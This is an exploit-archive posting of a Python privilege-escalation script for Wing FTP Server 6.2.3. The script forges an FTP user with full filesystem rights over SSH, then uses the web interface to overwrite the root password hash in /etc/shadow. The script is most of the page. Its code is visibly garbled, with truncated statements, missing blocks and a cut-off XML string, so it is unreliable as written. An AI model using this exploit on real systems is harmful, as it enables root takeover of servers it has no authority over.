Wing FTP Server 6.2.3 Privilege Escalation

Wing FTP Server version 6.2.3 suffers from a privilege escalation vulnerability.

MD5 | 55e0bd61fc7c43fec8d097e8ee28ba40

# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-02
# Exploit Author: Cary Hooper
# Vendor Homepage:
# Software Link:
# Version: v6.2.3
# Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86)

# Given SSH access to a target machine with Wing FTP Server installed, this program:
# - SSH in, forges a FTP user account with full permissions (CVE-2020-8635)
# - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634)
# Each step can all be done manually with any kind of code execution on target (no SSH)
# To setup, start SSH service, then run ./wftpserver. Wing FTP services will start after a domain is created.
# (writeup)


#python3 -t -u lowleveluser -p demo --proxy

import paramiko,sys,warnings,requests,re,time,argparse
#Python warnings are the worst

#Argument handling begins
parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance."))
parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True)
parser.add_argument("-u", "--username", help="SSH username", required=True)
parser.add_argument("-p", "--password", help="SSH password", required=True)
parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true')
parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False)
args = parser.parse_args()

#Global Variables
global username
global password
global proxies
global port
global hostname
global DEBUG
username = args.username
password = args.password

#Turn on debug statements
if args.verbose:
DEBUG = True
DEBUG = False

#Handle nonstandard SSH port
if ':' in
socket =':')
hostname = socket[0]
port = socket[1]
hostname =
port = "22"

#Prepare proxy dict (for Python requests)
if args.proxy:
if ("http://" not in args.proxy) and ("https://" not in args.proxy):
print(f"[!] Invalid proxy. Proxy must have http:// or https:// {proxy}")
proxies = {'http':args.proxy,'https':args.proxy}
proxies = {}
#Argument handling ends

#This is what a <username>.xml file looks like.
#Gives full permission to user (h00p:h00p) for entire filesystem '/'.
#Located in $_WFTPROOT/Data/Users/
evilUserXML = """<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
<ExpireTime>2020-02-25 18:27:07</ExpireTime>
<LastLoginTime>2020-01-26 18:27:28</LastLoginTime>

#Verbosity function.
def log(string):
if DEBUG != False:

#Checks to see which URL is hosting Wing FTP
#Returns a URL, probably. HTTPS preferred. empty url is checked in main()
def checkHTTP(hostname):
protocols= ["http://","https://"]
for protocol in protocols:
log(f"Testing HTTP service {protocol}{hostname}")
response = requests.get(protocol + hostname, verify=False, proxies=proxies)
#Server: Wing FTP Server
if "Wing FTP Server" in response.headers['Server']:
print(f"[!] Wing FTP Server found at {protocol}{hostname}")
url = protocol + hostname
except Exception as e:
print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}")
return url

#Log in to the HTTP interface. Returns cookie
def getCookie(url,webuser,webpass,headers):
loginURL = f"{url}/loginok.html"
data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "}
response =, headers=headers, data=data, verify=False, proxies=proxies)
ftpCookie = response.headers['Set-Cookie'].split(';')[0]
print(f"[!] Successfully logged in! Cookie is {ftpCookie}")
cookies = {"UID":ftpCookie.split('=')[1]}
log("return getCookie")
return cookies

#Change directory within the web interface.
#The actual POST request changes state. We keep track of that state in the returned directorymem array.
def chDir(url,directory,headers,cookies,directorymem):
data = {"dir": directory}
print(f"[*] Changing directory to {directory}")
chdirURL = f"{url}/chdir.html", headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
log(f"Directorymem is nonempty. --> {directorymem}")
log("return chDir")
directorymem = directorymem + "|" + directory
return directorymem

#The application has a silly way of keeping track of paths.
#This function returns the current path as dirstring.
def prepareStupidDirectoryString(directorymem,delimiter):
dirstring = ""
directoryarray = directorymem.split('|')
log(f"directoryarray is {directoryarray}")
for item in directoryarray:
if item != "":
dirstring += delimiter + item
log("return prepareStupidDirectoryString")
return dirstring

#Downloads a given file from the server. By default, it runs as root.
#Returns the content of the file as a string.
def downloadFile(file,url,headers,cookies,directorymem):
print(f"[*] Downloading the {file} file...")
dirstring = prepareStupidDirectoryString(directorymem,"$2f") #Why wouldn't you URL-encode?!
log(f"directorymem is {directorymem} and dirstring is {dirstring}")
editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768"
response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies)
filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0]
log(f"downloaded file is: {filecontent}")
log("return downloadFile")
return filecontent,editURL

#Saves a given file to the server (or overwrites one). By default it saves a file with
#644 permission owned by root.
def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem):
log(f"Directorymem is {directorymem}")
saveURL = f"{url}/savefile.html"
headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer}
dirstring = prepareStupidDirectoryString(directorymem,"/")
log(f"Stupid Directory string is {dirstring}")
data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent}, headers=headers, cookies=cookies, data=data, verify=False)
log("return saveFile")

#Other methods may be more stable, but this works.
#"You can't argue with a root shell" - FX
#Let me know if you know of other ways to increase privilege by overwriting or creating files. Another way is to overwrite
#the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV).
#Mind that in this version of Wing FTP, files will be saved with umask 111. This makes changing /etc/sudoers infeasible.

#This routine overwrites the shadow file
def overwriteShadow(url):
headers = {"Content-Type": "application/x-www-form-urlencoded"}
#Grab cookie from server.
cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers)

#Chdir a few times, starting in the user's home directory until we arrive at the target folder
directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="")

#Download the target file.
shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem)

# openssl passwd -1 -salt h00ph00p h00ph00p
rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0"
rootpass = "root:" + rootpass + ":18273:0:99999:7:::"

#Create new shadow file with different root password & save
newshadow = re.sub("root(.*):::",rootpass,shadowfile)
print("[*] Swapped the password hash...")
print("[*] Saved the forged shadow file...")
log("exit overwriteShadow")

def main():
#Create ssh connection to target with paramiko
client = paramiko.SSHClient()
client.connect(hostname, port=port, username=username, password=password)
print(f"Failed to connect to {hostname}:{port} as user {username}.")

#Find wftpserver directory
print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)")
stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'")
wftpDir ="utf-8").split('\n')[0].rsplit('/',1)[0]
print(f"[!] Found Wing FTP directory: {wftpDir}")
#Find name of <domain>
stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1")
lsresult ="utf-8").split('\n')
#Checking if wftpserver is actually configured. If you're using this script, it probably is.
print(f"[*] Determining if the server has been configured.")
domains = []
for item in lsresult[:-1]:
item = item.rsplit('/',1)[1]
if item !="_ADMINISTRATOR" and item != "":
print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}")
domain = domains[0]
#Check if the users folder exists
userpath = wftpDir + "/Data/" + domain
print(f"[*] Checking if users exist.")
stdin, stdout, stderr = client.exec_command(f"file {userpath}/users")
if "No such file or directory" in"utf-8"):
print(f"[*] Users directory does not exist. Creating folder /users")
#Create users folder
stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users")
#Create user.xml file
print("[*] Forging evil user (h00p:h00p).")
stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml")
#Now we can log into the FTP web app with h00p:h00p

url = checkHTTP(hostname)
#Check that url isn't an empty string (and that its a valid URL)
if "http" not in url:
print(f"[!] Exiting... cannot access web interface.")

#overwrite root password
print(f"[!] Overwrote root password to h00ph00p.")
except Exception as e:
print(f"[!] Error: cannot overwrite /etc/shadow: {e}")

#Check to make sure the exploit worked.
stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root")
out ='utf-8')
err ='utf-8')

log(f"STDOUT - {out}")
log(f"STDERR - {err}")
if "root:$1$h00p" in out:
print(f"[*] Success! The root password has been successfully changed.")
print(f"\n\tssh {username}@{hostname} -p{port}")
print(f"\tThen: su root (password is h00ph00p)")
print(f"[!] Something went wrong... SSH in to manually check /etc/shadow. Permissions may have been changed to 666.")

log("exit prepareServer")


Related Posts